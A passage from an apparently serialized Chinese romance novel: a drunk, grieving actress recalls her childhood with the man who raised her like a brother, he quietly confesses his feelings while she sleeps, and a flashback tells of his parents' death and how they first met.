他的眼底涌上一股无可奈何的苦涩,深深呼吸了一口气,最终轻轻拨动水面的泡沫,小心翼翼将黎宴放回浴缸。他拿过放在一旁的她的手机,将静音键拨上去,起身退出浴室。
关上卧室门,他拿起手机,找到黎宴的微信电话拨了过去。
但这一拨,她的铃声响起,听得他眉头意外一挑,是他的声音。
准确来说,是大半个月前,他代表公司对她的微博登门致谢,她却挑衅地让他说致谢词的时候。
怪不得她当时在玩手机,原来如此。
浴室里,黎宴的手机持续响铃,铃声在空旷的房间里回荡,一声,两声,三声……
在不知道第多少个电话后,黎宴被吵得皱眉,终于缓缓睁开眼睛。她茫然地看了眼四周,然后才去摸手机。
“……喂?”
“水凉了。”柏闻的声音同时从听筒和卧室门外传来,低哑得厉害。
“起来吧,早点休息。”
黎宴还在愣神,又盯着浴室门有些歪斜的门把,疑惑地眨了眨眼睛。
她这才回神:“啊……好,好的,我马上出来。”
柏闻挂断电话,靠在墙上长长呼出一口气。他的T恤湿透了,狼狈地紧贴在身上。
得再换一件了。
26.第 26 章
黎宴换了身米白色丝质睡袍,推开卧室门走了出来。
连轴转行程带来的疲惫像被热水泡软了,沉甸甸地揉进她的四肢深处,可大脑却处于一种奇异的清醒状态,过度疲劳后反而睡不着了。
黎宴走到沙发前,目光落向茶几上那支酒店送来的香槟,冰桶里的冰块已经化了大半。她起开软木塞,金黄的酒液缓缓倒入杯中,升起细密的气泡。
夏夜里来上一杯冰酒很惬意,她第一口喝得很慢,陷进沙发里闭上眼睛,脑子里却全是问题。
关于柏闻这四年的经历,他具体在做什么?后颈的疤是怎么来的?他对她到底隐瞒了什么?他现在对她又是怎么想的?
这些疑惑像刺一样扎在她喉咙里,咽不下去,问不出来。
她起开这瓶酒的时候,原本想过借着酒劲问的。
黎宴睁开眼,看向安保间的方向,门缝里透出一点微光。
她又很怕。
那些让柏闻宁愿一刀两断也要隐瞒的真相,他绝对不会说出口。她怕自己问了,会破坏这些日子好不容易建立起来的关系,怕他又会变回那个客气疏离的柏队长,怕就连现在这样别扭的,总隔着几步距离的陪伴都会失去。
可她也没有多少时间,剧组杀青就会离开孟甘,到时候柏闻怎么办?他会愿意和她一起回国吗?还是继续留在这里?
他们的关系……还能回到从前吗?
黎宴心乱如麻。
于是她又倒了第二杯,第三杯……
随着时间流逝,酒精开始发挥作用,身边变暖,脸也发烫。在她不知道喝下第几杯时,她已经不去想那些问题了,打断用酒精填满心里某个空洞的地方。
恍惚间她甚至觉得这样做才是对的,只有喝到想不了,才能有个安心的睡眠。
然而下一杯喝到一半时,一道高大的影子笼罩下来,拿走了她的酒杯。
黎宴愣愣抬头。
柏闻不知何时站在了她面前,他换了件灰色的棉质T恤和运动裤,发梢还有点湿,今天的洗澡效率比从前慢好多。
黎宴打量着他,客厅冷调的光线下,他的五官显得格外深邃英俊,就是眉心似乎蹙着,美中不足。
“你今晚还有工作。”他低声提醒,意思很明显。
黎宴的目光落向他拿走酒杯的那只手,修长又漂亮,骨节分明,手背上有青筋微微凸起。她以前就喜欢玩他的手,总想不通那么大个篮球,他是怎么稳稳抓在手里,甚至还能轻轻松松就扣进篮筐的。
是了,青春期的时候,他还举着她扣过篮来着。
见黎宴愣着不说话,柏闻伸手在她眼前晃了晃:“黎宴?”
恍惚间,黎宴觉得这画面很熟悉。
小时候她偷喝爷爷泡的药酒,被柏闻当场抓获,他也是这样拿走她手里的酒勺,皱着眉说:“别喝这个,很辣的。”
那时她会耍赖,会撒娇,会因为没尝到滋味,就抱着他的胳膊央求:“就一口嘛哥哥,就一口。”
而现在……
黎宴望进柏闻的眼睛,他的眼神很深,里面有很多她看不懂的东西。小时候看不懂,青春期看不懂,现在她都已经是大人了,为什么还是这样?
为什么只有那一点关心没变,而她只看得懂这个?
柏闻还是会关心她,只是他不再承认自己是哥哥,也不会再叫她妹妹了。
一想到这,黎宴只觉得一股莫大的委屈与悲伤涌了上来,在酒精的催化下,让她的鼻子酸得一塌糊涂。
“你管我?”
她听见自己的声音,很酷很桀骜不驯,伸手去抢那杯酒,软绵绵地没什么力气。
柏闻轻而易举将酒杯抬高:“别喝了。”
他的语气很平静,目光自头顶落下来,不压迫,却也没有商量的余地。
黎宴盯着他看了好一会儿,忽然笑了,只是有点苦涩。
“这才对嘛……”她轻声说,像在自言自语,“这才是哥哥的样子。”
柏闻一怔。
黎宴没察觉,也不再抢那杯酒,整个人陷进沙发,抬起手臂遮住眼睛。
“小时候……我偷喝酒,你就是这样管我的。”
她的声音自手臂下方传来,又低又闷。
“初二暑假我偷偷去打耳洞,用头发遮着。有次洗完头忘了这回事,被你抓去吹干时露馅了。你捏着我的耳垂看,问我怎么发炎了,我嘴硬说是蚊子咬的,你就什么都没说了。”
“第二天起床,我就看见桌子上多了消毒棉片和一副新耳钉。你说要用就用好一点的,别贪便宜把自己弄伤了。”
黎宴一字一句回忆着,柏闻静默地站在她面前,只觉得每个字都像钉子,一下一下在他心上敲。
“半夜我躲在被子里玩手机,听见你开门检查也不怕。没想到你突然发消息,问我明天早饭吃什么,看见枕头旁边没有手机亮屏,你就进来抓我了。”
“有一年冬天我用冷水洗头,因为听说那样头发会更亮。被你发现后,每次洗头你都搬个小凳子坐在旁边监督,还威胁我,说我要是再这样,你就去建议爷爷奶奶给我剪个妹妹头。我当时恨死你了,觉得天底下没有比你更坏的哥哥了。”
她说到这里顿了顿,声音轻下去,像一片漂泊无依的落叶。
“可现在……我连这样的哥哥也没有了。”
客厅里安静得落针可闻,柏闻艰涩地滚了滚喉结,这些回忆变成了生锈的钝刀,割在他心口最软的那块肉上。
他看着她倔强抬起的手臂,看着她醉意朦胧的样子,看着她微微张开的唇,水光盈盈,樱红饱满。
“黎宴。”他开口。
“你喝多了,该睡了。”
黎宴半眯着眼仰头,朝他伸手:“那你抱我回去,走不动了……”
她语调绵软,理所应当得像小时候朝他讨要糖果吃。他看着伸过来的那只手,睡袍的袖子往下滑了一截。她的手腕很细,眼神迷蒙又无辜,完全不认为这个要求有什么不可被满足的。
柏闻的理智在反复拉扯。
在她眼中他一直是哥哥,哪怕再见面后,彼此的关系还没有一个正式的结果,她也心安理得当他是哥哥。
可若他心不安呢?
他们明明都已经是大人了。
“自己走。”柏闻狠心道,用力摁下了那股本能的冲动。
黎宴的手僵在半空,她委屈地看着他,然后慢慢把手收回去,耷拉着红扑扑的脸。
“你不是哥哥。”她小声嘟囔,语气里满是失望。
“哥哥不会这样。”
柏闻的呼吸滞了一下,内心又酸又胀。
他想起方宁那些话,想起四年前从普湄南的出租屋里哭着跑走的她,想起她一个人生活的这四年,想起社交平台上他保存的那一张张笑脸背后,全是她藏起来的寂寞与眼泪……
这一刻,那根绷在心底多年的弦,终于轻轻颤动。
“什么才算是哥哥?”他听见自己问。
柏闻往前走了一步,居高临下地看着她,目光深深。黎宴仰头回看他,看了很久很久,忽然狡黠地扬起唇角。
她的声音又甜又软。
“你靠过来一点,我就告诉你。”
柏闻犹豫了一秒。
就这一秒,黎宴已经伸手抓住了他的衣角。醉酒的她其实没什么力气,只轻轻一拽,柏闻便顺着那股力道,坐在了她身边。
沙发下陷,两人的距离瞬间拉近。
然后黎宴就凑了过来。
她手脚并用地钻进他怀里,手臂环住他劲窄的腰,把脸埋在他的颈窝。动作亲昵又自然,仿佛他们之间从未有过四年的空白。
柏闻的手悬在半空。
他能感觉到她身体的柔软,能感觉到她气息的温热,甚至是她的睫毛轻轻扫过时带起的酥痒。她的睡袍因动作而敞开了些,露出领口下白皙细腻的皮肤,
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沐浴后的香气丝丝缕缕地缠绕进他的呼吸。
柏闻仿佛在打一场硬仗,血液沿着全身血管冲向同一个地方。他想推开她,想保持距离,想维持那点可怜的理智。可她的手环得太紧,她的呼吸太真实,她的身体太温暖。
哥哥是个卑劣的懦夫。
忽然,黎宴贴上他的耳廓,气息洒在他的皮肤上,激起一阵细密的战栗。
“哥哥就是……会在下雨天来学校接我,自己淋湿了,也会把伞向我倾斜。”
她的声音很轻,像在讲一个遥远的童话。
“在打雷的雨天抱着我睡觉,哪怕我半夜踢被子把他也踢下床,他都不会生气。”
“会在所有人都说我妈妈不要我的时候,牵着我的手一遍遍告诉我,他要我,他爱我,他会给我全部。”
“哥哥就是会……”
她说着,声音哽咽。
“在我最需要他的时候,永远都在。如果哥哥需要我,也不会口是心非地抛下我……”
最后一个字的尾音落下时,柏闻察觉了颈间湿润的凉意。
她在哭。
那些眼泪无声而安静,一颗一颗,沿着他的锁骨滑落,钻进衣服领口,烫得他心口刺痛。
终于,那只悬着的手落下了,很轻很轻,环住她的背。又一下一下,像小时候哄她睡觉那样,轻柔地拍着。
时间仿佛在这一刻静止。
客厅里只有昏暗的冷光,窗外的城市已经沉睡,偶尔会有几声从远处传来的车鸣。茶几上的香槟杯里,气泡缓慢上升,然后一粒粒破碎。
柏闻抱着她,额头抵着她柔软的发顶,她攥着他的衣服不松手。
那点细微的哭声让他的整颗心脏都在发颤,渐渐的又没了动静。柏闻低下头,看着怀里单薄的身影。她闭着眼,睫毛上挂着泪珠,脸颊因为酒精和哭泣而泛着红晕,嘴唇微微张开,呼吸轻柔灼热。
像熟透的果实,散发着诱人的香气。
他知道她醉了,也知道明天醒来她可能什么都不记得,知道现在的一切,都建立在她不清醒的状态上。
可他还是开了口。
“如果……”他的声音哑得厉害,低得几乎听不见。
“如果比你说的这些做得更多,还可以是哥哥吗?”
黎宴在他怀里动了动,含糊地发出了个疑惑的音节,像是没听清,又像是已经半睡半醒。
柏闻看着她近在咫尺的脸,她的睫毛长而卷,嘴唇柔嫩泛着水光,微微张开一条缝。
他的心脏从未跳动得如此疯狂,几乎要从喉咙里蹦出来。目光在她脸上停留了很久,从眼睛描摹到鼻尖,最后缓缓落向嘴唇。
他的嗓音更哑了。
“如果变成其他样子……还可以是哥哥吗?”
黎宴没有回应。
她靠在他肩上,呼吸渐渐平稳绵长,已经睡了。
柏闻等了一会儿,确定她真的睡熟了,才又开口,轻轻叹息。
“如果喜欢你……还可以是哥哥吗?”
没有回答。
客厅里一片寂静,只有她的呼吸声萦绕在耳边,裹挟着他混乱的心跳。
柏闻闭上眼,深吸了一口气,再缓缓吐出。
他收敛了所有神情,一只手穿过她的膝弯,另一只手托住她的背,将她横抱而起。
她很轻,睡得很深,被他抱起来时只是无意识地哼了一声,往他怀里缩了缩。
柏闻抱着她稳步走回卧室,月光透过窗帘缝隙洒进来,在地板上切出一道银白色的线。
他将她放在床上,拉过被子盖好。她刚一上床就蜷成一团,眉头微微蹙着,在梦里也不安稳。
柏闻轻轻坐在窗边,目光不瞬地看她。
很久之后,他弯下腰,很轻很轻地,在她紧蹙的眉间落下一个吻。
“不怕,不怕…”他像小时候那样,温声安慰做噩梦的她。
“哥哥在。”
27.第 27 章
塞玛市的夜还没进入尾声,黎宴渐渐酣梦。同一屋檐下,柏闻却像被无形的手强行拽出现实,直坠入昏茫冰冷的海底,呼吸越发滞重,一夜不得好眠。
他梦见五岁那年的春节,父母在返乡途中被一辆疲劳驾驶的大货车追尾。
剧烈撞击爆开的刹那,整个世界骤然颠倒翻滚。他没有立刻感觉到痛,身体被一股温暖的巨力死死护住。余音散尽后,四周只剩绝对的死寂。
他从眩晕中艰难睁眼,几秒后,温热的,带着腥气的液体,一滴,两滴,落在他脸上。
不知过了多久,外面传来奔跑与叫喊,他被卡在严重变形的后座,喉咙里挤不出一丝声音。透过碎裂的车窗玻璃,他模糊地看见一片闪烁的红蓝光,尖锐的鸣笛声呼啸着撕开了夜晚。
被救出来时,他也奄奄一息,视线被黏稠的血糊住,有他自己的,更多的来自于母亲。被抬上担架时,他没看见父母的身影。他们被警笛与人群包围,被压在前方的黑暗与钢铁废墟里。
他从小就智力过人,记事极早也尤其清楚。以至于盘踞在那个夜晚里的汽油味,血腥味,还有那场深冬弥漫的大雾,成了他多年来午夜梦回的常客。
父母出事后,爷爷奶奶连夜从乡下赶来。躺在病床上的那段时间,柏闻听到最多的话是“节哀”。其次就是爷爷奶奶的侄子外甥,那些被他叫做堂叔堂伯的人,在葬礼后接二连三跑到家里来,打着晚辈尽孝的名义,嗓门很大地说要帮忙保管他父母留下的那笔大额赔偿金,怕老人被骗。
爷爷脾气硬,抄起扫帚将他们轰了出去。奶奶抱着他哭,整日整夜地哭。
可柏闻没哭。
他记得母亲的血流满他整张脸是什么感觉,恍惚觉得那就是他的眼泪,血流干了,自然就没有泪了。
于是,街坊邻里的小孩开始疏远他,叫他“怪物”。一个连亲生父母死了,都不肯掉半滴泪的怪物。
后来,父母的照片被框上黑边,高高摆在家里的客厅。爷爷让他去上香,柏闻一动不动站在那,看了很久才缓缓意识到。
原来他们真的回不来了。
从那以后,他心里就像破了个洞,总有风呼呼地往里灌。五岁的他不知道那叫痛,只觉得很空,觉得很冷。
七岁前的那两年,他经常坐在自家院子的门槛上,看着巷子里其他孩子追逐打闹。他没兴致参与,只是看着,觉得那些尖叫和笑声离自己很远,仿佛他还留在那场冬夜的大雾里。已经很久没有孩子和他一起玩了,没人会和一个怪物做朋友,更何况这个怪物对他们也不感兴趣。
直到隔壁搬来一对母女。
那女人年轻漂亮,眉眼神似电视机里的仙女。身边跟着的小女孩大概两三岁,眼睛很亮很大,总躲在大人腿后偷瞄他。有天中午,他听见那女人扯着嗓门喊:“黎宴,回来吃饭!”
他读过很多书,宴者,安乐从容,温暖欢庆,是个好名字。
因为是新面孔,所以无聊的时候,柏闻也会观察她们。发现黎宴和她那个总是行色匆匆,打扮亮眼的妈妈不一样。她很安静,也很乖。只是她妈妈好像不太会照顾孩子,至少和父母照顾他的方式不同。
她妈妈经常出门,动不动就把她一个人锁在家里。她没什么玩伴,导致有时候说话不太利索,经常一个人坐在家门口的小板凳上,手里拿着几样破玩具,小声哼着歌,调子歪七八扭,词也含糊不清。
柏闻记得很清楚,那是盛夏初的一个午后,阳光晒得石板路发烫,树上的蝉也聒噪得要命。
他照旧坐在门槛上发呆,心里空落落的。那种在父母离世后便如影随行的冷,再次涌了上来,哪怕他的身体正被太阳烤着。
这时,他看见隔壁家的妹妹,摇摇晃晃地从她家门槛里迈出来,手里攥着半个被咬得坑坑洼洼的青梅。
柏闻一看就知道那是从哪儿来的,他出生那年,作为礼物,母亲在院里手植了一棵青梅树,需要静待几年漫长的成长期。他还记得母亲曾说,到今年七月,它就该第一次结果了。
如今七月已至,母亲却不在人世,家里没人爱吃这玩意儿。估计是在枝头上熟透了掉到院外,被她捡着了。
他静静看着黎宴挪动小碎步,最后停在他家院子的那圈矮篱笆边。她眨着一双黑白分明的大眼睛,透过狭窄的缝隙看他。
之后就再也没移开过眼。
柏闻也看着她,准确来说,是又在观察她。这两年他几乎不怎么开口说话,习惯了大人们用同情或唏嘘的目光看他,有时连爷爷奶奶也不例外。他知道从年龄上讲,自己也是个小孩子。可眼前这个比他还小的小不点,眼神却很纯粹,就是单纯地看。
然后做了一件让他始料未及的事。
她努力把拿着青梅的小手从篱笆缝里挤过来,却又因为没什么力气,青梅啪嗒一声掉在地上,滚到了他的脚边。
她愣住了,毕竟表情就很明显。她看着空了的掌心,又看看地上的青梅,小小的嘴巴一瘪,一副马上要哭的样子。
柏闻没帮她捡,心里甚至无端地冒出一丝恶劣的念头,想看看她到底会不会哭。既然他是不会哭的怪物,不知道看别人哭是什么感觉。
没想到黎宴没哭,反而指着那颗青梅,对他发出几个含糊不清的音节。
“哥哥……吃。”
这次换柏闻愣住了。
哥哥?
她在叫谁?自己吗?
她似乎从来不和外人讲话,她搬来后的这段时间,他只听过她叫妈妈。
可那直勾勾的眼神分明是向着自己的,柏闻低下头,看着脚边那颗沾了灰,还留着她半截牙印的青梅。它很小,很普通,而且不干净。
盛夏青梅,人间滋味。
这是母亲以前说过的话,他没由来地想起。在这个寂静得只剩下蝉鸣的午后,这颗小青梅和篱笆边那个眼睛亮晶晶地叫他哥哥,努力想把这滋味分享给他的小不点,让他久违地有了一丝兴味。
他捡起青梅,擦了擦,走到篱笆边。她立刻踮起脚尖,眼巴巴地看他。
“给我的?”他太久不说话,一开口竟然有些生涩。他在向她确认,担心她也是因为说话不利落,而让自己会错了意。
谁知她用力点头,指着青梅重复:“甜……”
柏闻看着这颗青梅,在她的反复推荐下,忽然很想尝一口。于是,就在那个小小的牙印旁,他轻轻咬了下去。
好酸。
他瞬间皱紧了眉,用一种古怪的眼神打量她。他不觉得她是恶劣的小骗子,这颗青梅她刚才啃过,而且啃得很开心,难道她是没吃过好东西吗?
黎宴看见他的表情,同样疑惑地皱起小脸,仿佛自己也尝到了酸味似的。可很快,她又舒展眉头,朝他使劲摇头,声音更加响亮。
“甜的!”
她依然坚持,口齿竟清晰了不少。
柏闻没说话,只是更加确信她没吃过什么真正的好东西,一时觉得有些可怜。他想说他家里其实有很多,他可以去——
就在这时,黎宴忽然把手伸进篱笆缝,整个人努力地往里挤,想去够他手里的青梅。连着失败几次后,她退开一小步,伸出两只短短的胳膊,用力扒住粗糙的篱笆,同时笨拙地抬起脚,竟想直接翻过来。
篱笆不高,但对于一个三岁的孩子来说,依然是巨大的障碍。她越扒越较劲,短短几十秒内,柏闻就从她脸上看到委屈,急切,愤怒等好几种表情。
他这几年没什么喜怒哀乐,不懂一个小不点的脸上怎么能有这么丰富的情绪。但他知道她不是想爬过来玩,她的目光始终在他……不,应该是在他手里那颗青梅上。她翻篱笆的动作生疏又吃力,小脸憋得通红。都这样了,嘴里还念念有词。
“哥哥……甜……是好的……给哥哥……”
不连贯的词语凑成了句子,这一刻,柏闻的视线像是被按下快门,画面定格了。
燥热的阳光,嘶哑的蝉鸣,周围所有声音和光线,仿佛都退到了很远的地方。他的视野中心,只剩下那个用尽全力想要翻越障碍,只为向一个她并不熟悉,只是住在隔壁的,沉默古怪的哥哥,证明它是一颗甜青梅的小身影。
她那么认真,那么急切,仅仅是为了把她认为美好的东西,毫不犹豫地塞进他荒芜的世界。
酸劲儿过后,好像真的有那么一丝丝回甘。
在黎宴的小脚终于勾到篱笆顶,身体摇晃着快要摔下去的刹那,柏闻鬼使神差地上前,伸出手臂接住了她。
“别摔了。”他依旧不习惯听见自己的声音,抱着她的动作却小心而稳。
黎宴借他的力,终于把另一只脚也挪了过来,整个人气喘吁吁地从他怀里跳下,叉腰站在他家院子里。她仰起汗湿的小脸,眼睛亮亮的,一把抓住他的手腕,将那颗青梅拉到自己嘴边,啊呜就是一口。
“看!甜的!”
她露出一排白牙,理直气壮地朝他笑。柏闻看着她被酸得眯起,却还使劲睁大的眼睛,看着她汗津津的额发,又看向在那颗小小的果实上,深深交错的两个牙印。
青梅甜不甜,其实没有任何意义。
他们的影子在树荫下交叠,头顶是母亲种下的那颗青梅树。母亲说过,今天的七月,将会迎来它的第一次结果。
他想,母亲是对的。
如果说人的一生是由很多个瞬间组
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成的,那么在这个瞬间,另一缕带着青梅酸涩气息的微风,正顺着他心里的那个洞吹了进来。
那天以后,柏闻依然常坐在家门槛上。大多时候,他都能看见黎宴独自坐在不远处玩。只是经过那次小小的交集,她对他更不设防。她几乎不跟巷子里其他孩子玩,只愿意搭理他。每当看见他了,便抬起头脆生生地喊一句哥哥。不论是啃了一半的果子,还是起了毛边的玩偶,只要他扫过一眼,她都愿意主动走来,分享给他。
渐渐的,柏闻觉得,这条小巷子因为有她坐在那儿,似乎也没那么空旷无聊了。
偶尔,他也会路过她家门口,放下一把爷爷奶奶买的糖,或是放学路上在小卖部买的玩具。有时甚至只是一朵他在路边捡到的,形状特别的小花。放下后便跑开,像是一种只属于他的神秘仪式,不想被她发现。
其实他也不明白自己为什么要这样做,也许只是因为,他想看看她下一次笑起来会是什么样子。又或许是因为,他会经常想起她初次将美好分享给自己的那个下午。更不为人知的,是他悄悄在等,希望心里那缕奇异的风能吹得再猛烈一些。
他怀着隐秘的期待,从夏天等到了冬天,却等到爷爷奶奶告诉他噩耗,黎宴的妈妈跑了。
他早该察觉的,他曾几次在放学时撞见过那个女人。她靠着巷口的电线杆打电话,表情满是焦躁和不耐,嗓音却刻意压得软嗲。
“……我知道,你就帮帮我嘛,你知道的,我条件这么好,不该是这样的命……”
那时他七岁,跳级上了三年级,听得懂大人们传出的风言风语。从他父母离世后,这条巷子久违地热议起新的八卦。他感到无比厌烦,人就是这样,说出口的每一句话都像刀子,不割在自己身上永远不知道痛。
社区的工作人员来了好几趟,他透过窗户,看见那个小小的身影坚持要回家,固执地坐在门口,从天亮等到天黑。
奶奶在家里骂了她妈妈几回,也抹了几次眼泪,想收养她但顾虑很多。爷爷抽着烟叹气,一时也没法拿主意。
某个下雪天的黄昏,柏闻放学回来,看见黎宴又一次孤零零地坐在夕阳里,攥着她妈妈留下的旧围巾,像一只被遗弃在路边的幼猫。
他走过去,在她面前蹲下。她的小脸冻得通红,眼睛里全是茫然和害怕。他很熟悉这些情绪,在父母车祸的那个晚上,从碎裂的后视镜里,他曾看见一模一样的表情出现在自己脸上,然后是大颗大颗的眼泪。
他想起来了,他不是不会哭。那一夜,他的泪和母亲的血混在一起,伤口疼得撕裂,血和泪一起流得他几近休克。
想到这,他心里那个破洞又开始灌冷风。但这一次,风里夹杂着一种前所未有的冲动。
他不能让黎宴也变成这样,不能让她心里也有个填不满的洞。
“菩萨太忙了,我要她就行。”
当年他将这句话脱口而出,但他是认真的,并决定要为此负责。
他把自己的围巾解下来给她,打了一个被她嫌弃的,据说很丑的蝴蝶结。牵着她回家的那一刻,他感觉自己握住的不仅是一只小手,还有一份必须由他扛起的沉甸甸的未来。
我要当哥哥了。
这个念头萌芽的一瞬间,柏闻不由得挺直了脊背。他发誓要当一个可靠的哥哥,让她不再害怕,不再被抛弃,这一生都不会有体验他那种经历的时刻。
黎宴刚来家里那段时间,夜里总做噩梦,哭醒后找的第一个人永远是他。暴雨夜里,她缩在他怀中,眼泪滚烫地问。
“哥哥,你会不会也不要我?”
窗外雷雨呼啸,柏闻看着她恐惧的眼睛,仿佛看到了父母刚去世时的自己。但这一次,他不再是那个不知所措的孩子。
就像母亲用生命保护了他,他也要保护好妹妹。
他从床上坐起来,一字一句都很有力气,让自己看上去像个大人。
“我,柏闻,永远不会不要黎宴。”
“这是男子汉的承诺。”
他许下了人生中第一个,也是最重要的一个承诺。那一夜他几乎没怎么睡,反复想着“男子汉”三个字。从今往后,它不再是热血动漫里鼓舞少年的台词,而是需要他用一生去践行的准则。
此后的漫长岁月里,黎宴越发信任他,依赖他。而他也从她的依赖里,找到了前所未有的重量与价值。所有与她共度的时光,那些琐碎无比的小事,一点一点,填满了五岁时他心里留下的洞。
原来被人需要是这种感觉。
原来母亲当年保护他,存的是这样的信念。
原来他也会心甘情愿弯下腰,成为另一个人的垫脚石和避风港。